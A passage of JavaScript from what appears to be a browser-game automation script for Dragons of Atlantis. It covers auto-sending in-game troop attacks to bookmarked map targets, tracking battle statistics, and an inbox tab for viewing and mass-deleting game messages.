					var actionMsg = translate('Attack to ') + targetMsg;
					var feedback_element = UID['tabBookmarks_Feedback'];

					availableGeneral = getAvailableGeneral();
					var chk = checkMarch(actionMsg,
						feedback_element,
						marchCount,
						retryDelay,
						Marches.count.bookmark,
						Data.options.bookmarks.max_marches,
						availableGeneral, true);
					if (chk != 0) {
						t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
						return;
					}
					var greatDrag = null;
					if (nextTarget.inc) {
						if ((greatDrag = getAvailableDragon(true, nextTarget.dragons)) == null) {
							raiseMessage(actionMsg, feedback_element, 5, false, retryDelay);
							t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
							return;
						}
					}
					attackUnits = checkTroops(CAPITAL.id, nextTarget.units);
					if (attackUnits == null) {
						t.sendAttack(CAPITAL.id, nextTarget, availableGeneral, greatDrag, function(rslt) {
							var t = Tabs.Bookmarks,
								attackDelay, retryDelay;
							if (rslt) {
								t.last_target_idx = t.current_target_idx;
								if (Data.options.bookmarks.sort == 2) {
									var futureTarget = t.getNextTarget();
									if (futureTarget) {
										attackDelay = futureTarget.st;
										if (attackDelay < 5) attackDelay = 5;
									} else {
										attackDelay = Math.floor(Math.random() * (Data.options.bookmarks.delay_max - Data.options.bookmarks.delay_min + 1) + Data.options.bookmarks.delay_min);
									}
								} else {
									attackDelay = Math.floor(Math.random() * (Data.options.bookmarks.delay_max - Data.options.bookmarks.delay_min + 1) + Data.options.bookmarks.delay_min);
								}
								t.attackTimer = setTimeout(t.autoCheckTargets, attackDelay * 1000);
							} else {
								retryDelay = 30 * (t.attackErrors * t.attackErrors);
								if (rslt.status === 429) {
									retry_delay = E429_DELAY;
									raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
								} else if (rslt.status === 509) {
									retry_delay = 600;
									raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
								}
								t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
							}
						});
						return;
					} else {
						raiseMessage(actionMsg, feedback_element, attackUnits, true, retryDelay);
						t.attackTimer = setTimeout(t.autoCheckTargets, retryDelay * 1000);
					}
				} else {
					t.last_target_idx = -1;
					clearTimeout(t.attackTimer);
					t.setBookmarksEnable(false);
					dispFeedback(feedback_element, translate('Requirements Unmet') + ': ' + translate('Attacks') + ' ' + translate('Turned Off'));
				}
			},
			clearStats: function() {
				var t = Tabs.Bookmarks;
				var now = serverTime();
				Data.stats.bookmarks = {
					start_at: now,
					run_time: 0,
					total_attacks: 0,
					loss: {},
					items: {},
					resources: {}
				};
				t.showStats();
			},
			getNextTarget: function() {
				var t = Tabs.Bookmarks;
				var attacks = Data.options.bookmarks.targets;
				if (attacks.length == 0) return;
				var target_idx = toNum(t.last_target_idx) + 1;
				if (target_idx > attacks.length) target_idx = 0;
				var found = false;
				var next_target = null;
				for (var i = target_idx; i < attacks.length && !found; i++) {
					if (attacks[i].enabled && (Data.options.bookmarks.choice == 3 || Data.options.bookmarks.choice == attacks[i].t)) {
						next_target = attacks[i];
						t.current_target_idx = i;
						found = true;
					}
				}
				if (next_target === null) return;
				return next_target;
			},
			gotBattleReport: function(rpt_b) {
				var t = Tabs.Bookmarks,
					has_loss = false;
				if (!rpt_b) return;
				var march_id = null;
				for (var id in Data.marches.bookmark) {
					var march = Data.marches.bookmark[id];
					if (march.general.id === rpt_b.report.attacker.general.id) {
						march_id = id;
						break;
					}
				}
				if (march_id && march_id != null) t.trackStats(march_id, rpt_b);

				var items = rpt_b.report.spoils.items;
				if (items.length !== 0) Seed.fetchPlayer({
					noCities: true
				});
				if (!Data.options.bookmarks.delete_reports && !Data.options.bookmarks.stop_on_loss) return;
				if (Data.options.bookmarks.stop_on_loss && rpt_b.report.attacker.name == Seed.player.name) {
					for (var p in rpt_b.report.attacker.units) {
						if (rpt_b.report.attacker.units[p][0] != rpt_b.report.attacker.units[p][1]) {
							has_loss = true;
							var ts = new Date(rpt_b.report_notification.created_at * 1000).myString();
							t.setBookmarksEnable(false);
							dispFeedback(UID['tabBookmarks_Feedback'], translate('Troops lost') + '! (' + ts + ')');
							actionLog(translate('Troops lost') + '! (' + ts + ')');
							return;
						}
					}
				}
				if (Data.options.bookmarks.delete_reports && rpt_b.report.attacker.name == Seed.player.name && !has_loss)
					Messages.deleteMessage(rpt_b.report_notification.id);
			},
			initializeTargets: function() {
				var t = Tabs.Bookmarks;
				var last_time = -1;
				for (var i = 0; i < Data.options.bookmarks.targets.length; i++) {
					if (Data.options.bookmarks.sort == 2 && Data.options.bookmarks.targets[i].enabled &&
						(Data.options.bookmarks.choice == 3 || Data.options.bookmarks.choice == Data.options.bookmarks.targets[i].t)) {
						if (last_time == -1) { /* first entry */
							Data.options.bookmarks.targets[i].st = 0;
						} else {
							var start_time = toNum((last_time * 2) - (Data.options.bookmarks.targets[i].ti * 2));
							Data.options.bookmarks.targets[i].st = start_time;
						}
						last_time = Data.options.bookmarks.targets[i].ti;
					} else {
						Data.options.bookmarks.targets[i].st = 0;
					}
				}
			},
			marchTick: function() {
				var t = Tabs.Bookmarks;
				clearTimeout(t.marchTimer);
				Marches.updateTable(document.getElementById(UID['tabBookmarks_Marches']), 'bookmark');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			},
			sendAttack: function(cityIdx, target, general, great_dragon, notify) {
				var t = Tabs.Bookmarks;
				var now = serverTime();
				if (t.attackBusy) {
					dispFeedback(UID['tabBookmarks_Feedback'], translate('Error') + ': ' + translate('sendAttack is busy, no response from server?'));
					if (!t.requestTimer) t.requestTimer = setTimeout(function() {
						Tabs.Bookmarks.attackBusy = false;
					}, 10000);
					if (notify) notify(false);
					return;
				} else if (t.requestTimer) clearTimeout(t.requestTimer);
				var units = cloneProps(target.units);
				if (!is_null(great_dragon)) units[great_dragon] = 1;

				var targMsg = translate('Attack sent to') + ': ' + target.type + ' ' + translate('at') + ' ' + target.x + '/' + target.y;

				verboseLog(targMsg + ' ' + translate('attempted'));
				t.attackBusy = true;
				t.lastAttack = now;

				new MyAjax.marchSend(Seed.cities[cityIdx].id, target.x, target.y, general.id, units, 'bookmark', function(rslt) {
					t.attackBusy = false;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;
						verboseLog(targMsg + ' ' + translate('Successfully'));
						actionLog(targMsg);
						dispFeedback(UID['tabBookmarks_Feedback'], targMsg);
						target.last_attack = now;
						if (notify) notify(true);
					} else {
						t.attackErrors++;
						verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						actionLog(targMsg + ' ' + translate('failed'));
						dispFeedback(UID['tabBookmarks_Feedback'], targMsg + ' ' + translate('failed'));
						if (notify) notify(false);
					}
				});
			},
			setBookmarksEnable: function(onOff) {
				var t = Tabs.Bookmarks;
				var but = document.getElementById(UID['tabBookmarks_OnOff']);
				clearTimeout(t.attackTimer);
				Data.options.bookmarks.enabled = onOff;
				if (onOff) {
					Messages.addBattleReportListener(t.gotBattleReport);
					but.value = translate('Attacking').toUpperCase();
					but.className = UID['btn_on'];
					t.initializeTargets();
					t.autoCheckTargets();
					t.running.start_at = serverTime();
					Data.stats.bookmarks.start_at = serverTime();
				} else {
					Messages.removeReportListener('bookmark', t.gotBattleReport);
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
					if (t.running.start_at !== 0)
						Data.stats.bookmarks.run_time += (serverTime() - t.running.start_at);
					dispFeedback(UID['tabBookmarks_Feedback'], '');
				}
			},
			showStats: function() {
				var div = document.getElementById(UID['tabBookmarksStats_Status']);
				var t = Tabs.Bookmarks;

				if (div == null) return;
				var run_time = Data.stats.bookmarks.run_time;
				if (Data.options.bookmarks.enabled) run_time += (serverTime() - t.curRunStart);
				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td colspan=>' + new Date(Data.stats.bookmarks.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.bookmarks.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
				var first = true;
				for (var name in Data.stats.bookmarks.loss) {
					var perHour = Math.round(Data.stats.bookmarks.loss[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.bookmarks.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
				}
				m += '</tr><tr valign=top align=right>' + '		<td class=right>' + translate('Resources') + ': </td>';
				var first = true;
				for (var name in Data.stats.bookmarks.resources) {
					var perHour = Math.round(Data.stats.bookmarks.resources[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '			<td>' + translate(name) + ':</td>' + '			<td>' + numf(Data.stats.bookmarks.resources[name], ' ') + '</td>' + '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '		</tr>';
				}
				m += '<tr valign=top align=right>' + '		<td class=right>' + translate('Items') + ': </td>';
				var items = [];
				for (var name in Data.stats.bookmarks.items)
					items.push({
						desc: translate(name),
						qty: Data.stats.bookmarks.items[name]
					});
				if (items.length > 0) {
					items.sort(function(a, b) {
						a = a.desc.toLowerCase();
						b = b.desc.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
					for (var i = 0; i < items.length; i++) {
						var perHour = Math.round(items[i].qty / trueRunTime);
						if (i > 0) m += '<tr align=right><td></td>';
						m += '		<td>' + items[i].desc + ':</td>' + '		<td>' + numf(items[i].qty, ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
					}
				}
				m += '</table>';
				div.innerHTML = m;
			},
			trackStats: function(marchId, rpt_st) {
				var t = Tabs.Bookmarks;
				if (DEBUG_MARCHES) debugLog('Tabs.Bookmarks.trackStats: ' + marchId);

				if (is_null(Data.stats.total.total_attacks)) Data.stats.total.total_attacks = 0;
				++Data.stats.bookmarks.total_attacks;
				++Data.stats.total.total_attacks;
				var res = rpt_st.report.spoils.resources;
				for (var p in res) {
					objAddTo(Data.stats.bookmarks.resources, p, toNum(res[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(res[p]), false);
				}
				var killRes = rpt_st.report.spoils.kill_items;
				for (var p in killRes) {
					objAddTo(Data.stats.bookmarks.resources, p, toNum(killRes[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(killRes[p]), false);
				}
				var items = rpt_st.report.spoils.items;
				for (var i = 0; i < items.length; i++) {
					objAddTo(Data.stats.bookmarks.items, items[i], 1, true);
					objAddTo(Data.stats.total.items, items[i], 1, true);
				}
				for (var p in rpt_st.report.attacker.units) {
					if (rpt_st.report.attacker.units[p][0] != rpt_st.report.attacker.units[p][1]) {
						var nb = toNum(rpt_st.report.attacker.units[p][0]) - toNum(rpt_st.report.attacker.units[p][1]);
						objAddTo(Data.stats.bookmarks.loss, p, nb, true);
						objAddTo(Data.stats.total.loss, p, nb, true);
					}
				}
				Data.marches.bookmark[marchId].has_report = true;
				t.showStats();
			},

			onUnload: function() {
				var t = Tabs.Bookmarks;
				if (Data.options.bookmarks.enabled && t.running.start_at != 0)
					Data.stats.bookmarks.run_time += (serverTime() - t.running.start_at);
				Data.options.bookmarks.current_tab = t.contentType;
			},
			show: function() {
				var t = Tabs.Bookmarks;
				t.marchTick();
				switch (t.contentType) {
					case 0:
						t.tabBookmarksEdit();
						break;
					case 1:
						t.tabBookmarksTargets();
						break;
					case 2:
						t.tabBookmarksStats();
						break;
					case 3:
						t.tabBookmarksConfig();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Bookmarks;
				clearTimeout(t.marchTimer);
				Data.options.bookmarks.current_tab = t.contentType;
			}
		};

		/******************************** Inbox Tab **********************************/
		Tabs.Inbox = {
			tabOrder: INBOX_TAB_ORDER,
			tabLabel: 'Inbox',
			tabDisabled: !INBOX_TAB_ENABLE,
			container: null,
			contentType: MESSAGES_ALL,
			lastSubTab: 'tabInboxAll',
			report_num: -1,
			current_message: null,
			first_get: true,
			checkMessagesBusy: false,
			checkMessagesError: false,
			message_list: [],
			/* Message deletion */
			year: [],
			month: [],
			day: [],
			msDate: [],
			tabTchatAllianceActive: false,
			tabTchatRealmActive: false,

			init: function(div) {
				var t = Tabs.Inbox;
				t.container = div;
				var m = '<div class=' + UID['title'] + '>' + translate('Messages') + '</div>' + '<div id=' + setUID('tabInbox_Status') + ' style="margin-bottom:5px !important">' + '	<table width=100%>' + '		<tr>' + '			<td align=center width=25%><input type=button value="' + translate('Retrieve all') + '" id=' + setUID('tabInbox_Refresh') + ' /></td>' + '			<td align=center width=25%><input type=button value="' + translate('Select all') + '" id=' + setUID('tabInbox_SelectAll') + ' /></td>' + '			<td align=center width=25%><input type=button value="' + translate('Unselect all') + '" id=' + setUID('tabInbox_UnselectAll') + ' /></td>' + '			<td align=center width=25%><input type=button value="' + translate('Delete') + '" id=' + setUID('tabInbox_Delete') + ' /></td>' + '		</tr>' + '	</table>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabInboxAll') + '>' + translate('All') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInboxMessages') + '>' + translate('Messages') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInboxReports') + '>' + translate('Reports') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInboxDeletion') + '>' + translate('Mass deletion') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInboxTchatRealm') + '>' + translate('Tchat') + ' ' + translate('Realm') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInboxTchatAlliance') + '>' + translate('Tchat') + ' ' + translate('Alliance') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabInbox_Content') + ' style="padding-top:0px; height:655px; ; max-height:655px; overflow-y:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabInbox_Refresh']).addEventListener('click', t.getAllPages, false);
				document.getElementById(UID['tabInbox_SelectAll']).addEventListener('click', function() {
					t.onSelectAll(true);
				}, false);
				document.getElementById(UID['tabInbox_UnselectAll']).addEventListener('click', function() {
					t.onSelectAll(false);
				}, false);
				document.getElementById(UID['tabInbox_Delete']).addEventListener('click', t.deleteSelection, false);
				document.getElementById(UID['tabInboxAll']).addEventListener('click', function() {
					t.tabInboxList(toNum(MESSAGES_ALL));
				}, false);
				document.getElementById(UID['tabInboxMessages']).addEventListener('click', function() {
					t.tabInboxList(toNum(MESSAGES_ONLY));
				}, false);
				document.getElementById(UID['tabInboxReports']).addEventListener('click', function() {
					t.tabInboxList(toNum(REPORTS_ONLY));
				}, false);
				document.getElementById(UID['tabInboxDeletion']).addEventListener('click', t.tabInboxDeletion, false);
				document.getElementById(UID['tabInboxTchatRealm']).addEventListener('click', t.tabInboxTchatRealm, false);
				document.getElementById(UID['tabInboxTchatAlliance']).addEventListener('click', t.tabInboxTchatAlliance, false);
				setButtonStyle(document.getElementById(UID['tabInbox_SelectAll']), true, 'btn_green');
				setButtonStyle(document.getElementById(UID['tabInbox_UnselectAll']), true, 'btn_green');
				setButtonStyle(document.getElementById(UID['tabInbox_Delete']), true, 'btn_off');
				window.addEventListener('unload', t.onUnload, false);
				t.contentType = toNum(Data.options.inbox.current_tab, 0);
				t.show();
			},

			show: function() {
				var t = Tabs.Inbox;
				t.tabTchatRealmActive = false;
				t.tabTchatAllianceActive = false;
				if (document.getElementById(UID['tabInbox_Refresh'])) {
					if (toNum(Messages.total_count) > toNum(Messages.known_count))
						setButtonStyle(document.getElementById(UID['tabInbox_Refresh']), true);
					else setButtonStyle(document.getElementById(UID['tabInbox_Refresh']), false);
				}
				if (!t.checkMessagesBusy) {
					switch (toNum(t.contentType, 0)) {
						case 3:
							t.tabInboxDeletion();
							break;
						default:
							t.tabInboxList(toNum(t.contentType, 0));
							break;
					}
				} else setTimeout(t.show, 100);
			},
			onUnload: function() {
				var t = Tabs.Inbox;
				logit('===============  Tabs.Inbox.onUnload');
				Data.options.inbox.current_tab = t.contentType;
			},
			hide: function() {
				var t = Tabs.Inbox;
				t.tabTchatRealmActive = false;
				t.tabTchatAllianceActive = false;
			},

			tabInboxList: function(type) {
				var t = Tabs.Inbox;
				t.contentType = type;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatAlliance']).className = '';
				document.getElementById(UID['tabInboxTchatAlliance']).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatRealm']).className = '';
				document.getElementById(UID['tabInboxTchatRealm']).style.zIndex = 0;
				switch (type) {
					case MESSAGES_ONLY:
						document.getElementById(UID['tabInboxMessages']).className = 'selected';
						document.getElementById(UID['tabInboxMessages']).style.zIndex = 1;
						t.lastSubTab = 'tabInboxMessages';
						var head_text = translate('Messages');
						t.message_list = t.getMessages('messages');
						break;
					case REPORTS_ONLY:
						document.getElementById(UID['tabInboxReports']).className = 'selected';
						document.getElementById(UID['tabInboxReports']).style.zIndex = 1;
						t.lastSubTab = 'tabInboxReports';
						var head_text = translate('Reports');
						t.message_list = t.getMessages('reports');
						break;
					default:
						document.getElementById(UID['tabInboxAll']).className = 'selected';
						document.getElementById(UID['tabInboxAll']).style.zIndex = 1;
						t.lastSubTab = 'tabInboxAll';
						var head_text = translate('All');
						t.message_list = t.getMessages('all');
						break;
				}
				if (t.first_get && !Data.options.disable_inbox) {
					t.first_get = false;
					t.refreshFirstPage();
				}
				var m = '<div id=' + setUID('tabInbox_ListContent') + ' style="height:640px">' + '	<div class=' + UID['title'] + '>' + head_text + '</div>' + '	<div id=' + setUID('tabInbox_List') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabInbox_Content']).innerHTML = m;

				var m = '<table class=' + UID['row_style'] + ' width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width=2%>&nbsp</td>' + '		<td width=98%><table width=100%><tr>' + '			<td width=30%>' + translate('Date') + '</td>' + '			<td width=26%>' + translate('From') + '</td>' + '			<td width=44%>' + translate('Subject') + '</td>' + '		</tr></table></td>' + '	</tr>';
				var sel = [],
					vw1 = [];
				for (var i = 0; i < t.message_list.length; i++) {
					var style = '',
						bckgrd = '';
					if (t.message_list[i].unread) var style = 'font-weight:bold;';
					if (t.message_list[i].checked) var bckgrd = 'background-color:grey;';
					m += '<tr style="border-bottom: 1px solid #898989; ' + style + bckgrd + '">' + '	<td>&nbsp;<input type=checkbox id=' + setUID('tabInbox_SelectMsg_' + i) + ' ref="' + t.message_list[i].id + '_' + i + '" ' + (Messages.details[t.message_list[i].id].checked ? 'checked' : '') + ' />&nbsp;</td>' + '	<td><a><div id=' + setUID('tabInbox_ViewMsg_' + i) + ' ref="' + t.message_list[i].id + '" style="white-space:pre-wrap;"><table width=100%><tr>' + '		<td width=30%>' + new Date(t.message_list[i].created_at * 1000).toLocaleString() + '</td>' + '		<td width=26%>' + (t.message_list[i].from == null ? 'Dragons of Atlantis' : t.message_list[i].from.name) + '</td>' + '		<td width=44%>' + t.message_list[i].summary + '</td>' + '	</tr></table></div></a></td>' + '</tr>';
					sel.push(UID['tabInbox_SelectMsg_' + i]);
					vw1.push(UID['tabInbox_ViewMsg_' + i]);
				}
				document.getElementById(UID['tabInbox_List']).innerHTML = m + '</table>';
				for (var i = 0; i < sel.length; i++)
					document.getElementById(sel[i]).addEventListener('click', function(event) {
						var ids = event.target.getAttribute('ref').split('_');
						Messages.details[ids[0]].checked = event.target.checked;
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'TR')
							parentElement = parentElement.parentNode;
						if (ids[1] % 2 == 1)
							bckgrd = 'rgba(255, 255, 255, 0.0)';
						else bckgrd = 'rgba(255, 255, 255, 1.0)';
						parentElement.style.backgroundColor = (event.target.checked ? 'grey' : bckgrd);
					}, false);
				for (var i = 0; i < vw1.length; i++) {
					document.getElementById(vw1[i]).addEventListener('click', showMessage, false);
				}

				function showMessageDelay() {
					var t = Tabs.Inbox;
					if (t.checkMessagesBusy) setTimeout(showMessageDelay, 1000);
					else displayMessage();
				}

				function showMessage(event) {
					var t = Tabs.Inbox,
						element;
					if (event.target.tagName == 'DIV')
						element = event.target;
					else {
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'DIV')
							parentElement = parentElement.parentNode;
						element = parentElement;
					}
					var id = element.getAttribute('ref');
					t.current_message = id;
					if (is_null(Messages.details[id].report) && !t.checkMessagesBusy) {
						t.checkMessagesBusy = true;
						MyAjax.messageDetail(id, function(rslt) {
							var t = Tabs.Inbox;
							t.checkMessagesBusy = false;
							if (!rslt) return;
						});
					}
					showMessageDelay();
				}

				function displayMessage() {
					var t = Tabs.Inbox,
						m = '',
						rpt = '';
					/*logit('last report = '+inspectObj(Messages.details[t.current_message],8,1));*/
					var report = Messages.details[t.current_message];
					var msg_type = report.type;
					switch (msg_type) {
						case 'BattleReport':
							rpt = Messages.displayBattleReport(report);
							break;
						case 'CurseReport':
							rpt = Messages.displayCurseReport(report);
							break;
						case 'Leaderboard::TournamentAwardMessage':
							rpt = Messages.displayTournamentAwardMessage(report);
							break;
						case 'Messages::Breeding':
							rpt = Messages.displayBreedingReport(report);
							break;
						case 'Messages::Hatching':
							rpt = Messages.displayHatchingReport(report);
							break;
						case 'SentinelWarning':
							rpt = Messages.displaySentinelReport(report);
							break;
						case 'SpyReport':
							rpt = Messages.displaySpyReport(report);
							break;
						case 'ReinforcementsReport':
							rpt = Messages.displayReinforcement(report);
							break;
						case 'TradingReport':
							rpt = Messages.displayTradingReport(report);
							break;
						case 'TransportMarchReport':
							rpt = Messages.displayTransportReport(report);
							break;
						case 'ChallengePrizeReport':
							;
						case 'ContestPrizeReport':
							rpt = Messages.displayContestPrizeReport(report);
							break;
						case 'PlayerMessage':
						case 'AllianceMessage':
						case 'SystemMessage':
						case 'TargetedMessage':
							rpt = Messages.displayMessage(report);
							break;
						default:
							alert('Unknown message type ' + msg_type + ' (message id = ' + t.current_message + ')');
					}
					var button2 = '';
					if (report.from)
						button2 = '<input type=button value="' + translate('Reply') + '" id=' + setUID('MsgDisp_Answer') + ' />';
					else
						button2 = '&nbsp;';
					m += '<center><div id=' + setUID('displayMsg_ReportContent') + ' style="height:565px; max-height:565px; width:100%; max-width:100%; overflow-y:auto;">' + rpt + '</div>' + '<br><table width=90%><tr>' + '	<td align=center width=33%><input type=button value="' + translate('Close') + '" id=' + setUID('MsgDisp_Close') + ' /></td>' + '	<td align=center width=33%>' + button2 + '</td>' + '	<td align=center width=33%><input type=button value="' + translate('Delete') + '" id=' + setUID('MsgDisp_Delete') + ' /></td>' + '</tr></table></center>';
					document.getElementById(UID['tabInbox_List']).innerHTML = m;
					setButtonStyle(document.getElementById(UID['MsgDisp_Delete']), true, 'btn_off');
					document.getElementById(UID['MsgDisp_Close']).addEventListener('click', function() {
						t.current_message = null;
						t.show();
					}, false);

					if (document.getElementById(UID['MsgDisp_Answer']))
						document.getElementById(UID['MsgDisp_Answer']).addEventListener('click', function() {
							dialogSendMsg(report.from.name, report.from.id, true);
						}, false);
					document.getElementById(UID['MsgDisp_Delete']).addEventListener('click', function() {
						Messages.deleteSingleMsg(report.id, function() {
							t.current_message = null;
							t.show();
						})
					}, false);
				}
			},
			tabInboxDeletion: function() {
				var t = Tabs.Inbox;
				t.contentType = 3;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatAlliance']).className = '';
				document.getElementById(UID['tabInboxTchatAlliance']).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatRealm']).className = '';
				document.getElementById(UID['tabInboxTchatRealm']).style.zIndex = 0;
				document.getElementById(UID['tabInboxDeletion']).className = 'selected';
				document.getElementById(UID['tabInboxDeletion']).style.zIndex = 1;
				t.lastSubTab = 'tabInboxDeletion';

				var now = new Date();
				t.year[0] = 2010;
				t.month[0] = 10;
				t.day[0] = 1;
				t.year[1] = now.getFullYear();
				t.month[1] = now.getMonth() + 1;
				t.day[1] = now.getDate();
				t.msDate[0] = 0;
				t.msDate[1] = 0;

				var m = '<div id=' + setUID('tabInbox_DelContent') + ' style="height:640px">' + '<div class=' + UID['title'] + ' style="margin-bottom:10px">' + translate('Mass deletion of messages') + '</div>' + '<table class=' + UID['table'] + '>' + '	<tr valign=top>' + '		<td><b>' + translate('Delete messages of this type') + ': </b></td>' + '		<td>' + '		<select id=' + setUID('tabOptions_msgType') + ' size=1>' + '			<option value=0 ' + (Data.options.messages_delete.type == MESSAGES_ALL ? 'selected' : '') + '>' + translate('All types') + '</option>' + '			<option value=1 ' + (Data.options.messages_delete.type == MESSAGES_ONLY ? 'selected' : '') + '>' + translate('Messages') + '</option>' + '			<option value=2 ' + (Data.options.messages_delete.type == REPORTS_ONLY ? 'selected' : '') + '>' + translate('Reports') + '</option>' + '		</select>' + '		</td>' + '	</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td><b><i>' + translate('Messages') + ': </i></b></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_MsgG') + ' type=checkbox ' + (Data.options.messages_delete.msgGame ? ' CHECKED ' : '') + ' /> ' + translate('Game messages') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_MsgP') + ' type=checkbox ' + (Data.options.messages_delete.msgPlayer ? ' CHECKED ' : '') + ' /> ' + translate('Player messages') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_MsgS') + ' type=checkbox ' + (Data.options.messages_delete.msgSentinel ? ' CHECKED ' : '') + ' /> ' + translate('Sentinel messages') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_MsgA') + ' type=checkbox ' + (Data.options.messages_delete.msgAlliance ? ' CHECKED ' : '') + ' /> ' + translate('Alliance messages') + '</label></td>' + '	</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td><b><i>' + translate('Reports') + ': </i></b></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_RepA') + ' type=checkbox ' + (Data.options.messages_delete.rptAnthropus ? ' CHECKED ' : '') + ' /> ' + translate('Camps/wilds attack reports') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_RepT') + ' type=checkbox ' + (Data.options.messages_delete.rtpTransport ? ' CHECKED ' : '') + ' /> ' + translate('Transport reports') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_RepS') + ' type=checkbox ' + (Data.options.messages_delete.rptSpy ? ' CHECKED ' : '') + ' /> ' + translate('Spy reports') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_RepF') + ' type=checkbox ' + (Data.options.messages_delete.rptReinforcement ? ' CHECKED ' : '') + ' /> ' + translate('Reinforcement reports') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_RepB') + ' type=checkbox ' + (Data.options.messages_delete.rptBattle ? ' CHECKED ' : '') + ' /> ' + translate('Battle notes') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_RepC') + ' type=checkbox ' + (Data.options.messages_delete.rptCurse ? ' CHECKED ' : '') + ' /> ' + translate('Curse reports') + '</label></td>' + '	</tr><tr valign=top>' + '		<td><label><input id=' + setUID('tabOptions_RepTr') + ' type=checkbox ' + (Data.options.messages_delete.rptTrading ? ' CHECKED ' : '') + ' /> ' + translate('trading-report') + '</label></td>' + '		<td><label><input id=' + setUID('tabOptions_RepDr') + ' type=checkbox ' + (Data.options.messages_delete.rptBreeding ? ' CHECKED ' : '') + ' /> ' + translate('Sanctuary reports') + '</label></td>' + '	</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td><b><i>' + translate('Exception') + ': </i></b></td>' + '	</tr><tr valign=top>' + '		<td colspan=2><label><input id=' + setUID('tabOptions_ExcM') + ' type=checkbox ' + (Data.options.messages_delete.rptExceptMyAttacks ? ' CHECKED ' : '') + ' /> ' + translate('Keep battle reports of my attacks on other players') + '</label></td>' + '	</tr><tr valign=top>' + '		<td colspan=2><label><input id=' + setUID('tabOptions_ExcY') + ' type=checkbox ' + (Data.options.messages_delete.rptExceptYourAttacks ? ' CHECKED ' : '') + ' /> ' + translate('Keep battle reports of attacks from other players') + '</label></td>' + '	</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td colspan=2><b><i>' + translate('Date range') + ': </i></b>&nbsp &nbsp<input id=' + setUID('tabOptions_ChkD') + ' type=checkbox ' + (Data.options.messages_delete.dateAll ? ' CHECKED ' : '') + ' /> ' + translate('All') + '</label></td>' + '	</tr><tr valign=top>';
				for (var type = 0; type < 2; type++) {
					m += '<td>' + (type == 0 ? translate('From') : translate('To')) + ' : ';
					m += '<select id=' + setUID('tabOptions_DD' + type) + ' size=1>';
					for (var i = 1; i < 32; i++)
						m += '<option value=' + i + (i == t.day[type] ? ' selected' : '') + '>' + (i < 10 ? '0' : '') + i + '</option>';
					m += '</select>';
					m += '<select id=' + setUID('tabOptions_DM' + type) + ' size=1>';
					for (var i = 1; i < 13; i++)
